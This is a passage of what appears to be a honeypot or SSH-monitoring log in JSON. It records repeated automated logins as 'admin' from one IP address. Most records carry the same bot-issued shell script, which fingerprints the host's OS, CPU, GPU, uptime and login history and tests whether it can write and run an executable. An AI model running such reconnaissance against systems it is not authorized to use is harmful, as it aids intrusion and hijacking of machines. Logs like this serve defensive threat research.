| grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:08:31.720880+00:00",
  "ended_at": "2026-08-27T05:08:31.863014+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "69e603b8-d754-40f0-9d4e-a2d6a2f4622f",
  "name": "courtly-flinty-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 52976,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:06:36.981823+00:00",
  "ended_at": "2026-08-27T05:06:37.104352+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0c2b1a2d-af27-40fc-a5a7-eaabe2b24b42",
  "name": "mottled-thorny-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 50078,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:04:46.558739+00:00",
  "ended_at": "2026-08-27T05:04:46.816681+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b021830f-905c-4f15-aaf0-3334ea63ea92",
  "name": "tawny-prairie-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 47140,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:02:56.506500+00:00",
  "ended_at": "2026-08-27T05:02:56.946844+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "70fa79ba-661e-4929-a96b-99ca5fbbf3ae",
  "name": "hazy-sterling-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 44238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:01:03.010092+00:00",
  "ended_at": "2026-08-27T05:01:03.344489+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "921d4b83-ec94-478f-bd97-e733a6dfc27c",
  "name": "tender-pleasant-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 41324,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:59:12.021336+00:00",
  "ended_at": "2026-08-27T04:59:12.210763+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "64d4a328-933d-4e21-b014-8bd82876d455",
  "name": "feral-spirited-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 38408,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr 